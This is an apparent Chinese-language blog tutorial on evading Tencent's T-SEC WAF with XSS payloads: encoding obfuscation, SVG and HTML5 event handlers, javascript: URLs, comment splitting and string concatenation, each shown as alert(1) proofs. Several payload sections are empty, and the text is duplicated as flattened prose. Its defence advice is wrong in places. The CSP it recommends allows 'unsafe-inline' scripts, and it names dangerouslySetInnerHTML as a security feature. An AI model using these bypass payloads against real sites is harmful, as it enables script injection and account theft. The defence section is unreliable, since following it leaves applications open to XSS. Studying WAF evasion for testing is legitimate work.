缘起XSS之与某WAF的恩爱情仇
字数 809 2025-08-09 19:58:05

绕过腾讯T-SEC WAF的XSS攻击技术分析

1. WAF检测机制基础

1.1 常见WAF检测方式

  • 关键字检测:匹配<script>, onerror, javascript:等敏感字符串
  • 语法分析:检测HTML/JS语法结构是否异常
  • 行为分析:监控DOM操作、事件触发等可疑行为
  • 编码识别:解码常见编码方式(HTML实体、URL编码等)

1.2 腾讯T-SEC WAF特点

  • 多层检测机制组合
  • 动态解析能力较强
  • 对常见payload有深度特征识别

2. 基础绕过技术

2.1 编码混淆

  • HTML实体编码
    &lt;img src=x onerror=alert(1)&gt;
    
  • Unicode编码
    \u0061\u006c\u0065\u0072\u0074(1)
    
  • 混合编码
    
    

2.2 标签属性技巧

  • 非常规事件属性
    
    
  • 属性分割
    
    
  • 空字节注入
    
    

3. 高级绕过技术

3.1 动态构造技术

<script>
  String.prototype.XSS = function(){ eval(this) };
  'alert(1)'.XSS();
</script>

3.2 利用SVG标签

<svg/onload=alert(1)>
<svg><script>alert(1)</script>

3.3 利用HTML5特性

<details open ontoggle=alert(1)>

3.4 协议混淆

<iframe src=javascript:alert(1)>
<a href=javaSCRIPT:alert(1)>click</a>

4. 腾讯T-SEC WAF特定绕过

4.1 利用注释分割

<script>alert/*绕过*/('XSS')</script>

4.2 非常规字符插入


4.3 变量拼接

<script>
  a='al';b='ert(1)';window[a+b]();
</script>

4.4 利用ES6特性

<script>
  (alert)(1)
  alert?.('XSS')
</script>

5. 防御措施

5.1 输出编码

  • HTML实体编码
  • JavaScript编码
  • URL编码

5.2 内容安全策略(CSP)

Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'

5.3 输入验证

  • 白名单过滤
  • 数据类型验证
  • 长度限制

5.4 其他措施

  • HttpOnly Cookie
  • X-XSS-Protection头
  • 框架安全特性(如React的dangerouslySetInnerHTML)

6. 测试工具与方法

6.1 手工测试流程

  1. 测试基本XSS payload
  2. 逐步添加混淆技术
  3. 观察WAF拦截点
  4. 针对性绕过

6.2 自动化工具

  • XSStrike
  • XSS Hunter
  • Burp Suite Scanner

7. 总结

腾讯T-SEC WAF虽然具备较强的检测能力,但通过组合使用编码混淆、语法变异、动态构造等技术仍可实现绕过。防御XSS需要采取多层次的安全措施,不能完全依赖WAF。

绕过腾讯T-SEC WAF的XSS攻击技术分析 1. WAF检测机制基础 1.1 常见WAF检测方式 关键字检测 :匹配 <script> , onerror , javascript: 等敏感字符串 语法分析 :检测HTML/JS语法结构是否异常 行为分析 :监控DOM操作、事件触发等可疑行为 编码识别 :解码常见编码方式(HTML实体、URL编码等) 1.2 腾讯T-SEC WAF特点 多层检测机制组合 动态解析能力较强 对常见payload有深度特征识别 2. 基础绕过技术 2.1 编码混淆 HTML实体编码 : Unicode编码 : 混合编码 : 2.2 标签属性技巧 非常规事件属性 : 属性分割 : 空字节注入 : 3. 高级绕过技术 3.1 动态构造技术 3.2 利用SVG标签 3.3 利用HTML5特性 3.4 协议混淆 4. 腾讯T-SEC WAF特定绕过 4.1 利用注释分割 4.2 非常规字符插入 4.3 变量拼接 4.4 利用ES6特性 5. 防御措施 5.1 输出编码 HTML实体编码 JavaScript编码 URL编码 5.2 内容安全策略(CSP) 5.3 输入验证 白名单过滤 数据类型验证 长度限制 5.4 其他措施 HttpOnly Cookie X-XSS-Protection头 框架安全特性(如React的dangerouslySetInnerHTML) 6. 测试工具与方法 6.1 手工测试流程 测试基本XSS payload 逐步添加混淆技术 观察WAF拦截点 针对性绕过 6.2 自动化工具 XSStrike XSS Hunter Burp Suite Scanner 7. 总结 腾讯T-SEC WAF虽然具备较强的检测能力,但通过组合使用编码混淆、语法变异、动态构造等技术仍可实现绕过。防御XSS需要采取多层次的安全措施,不能完全依赖WAF。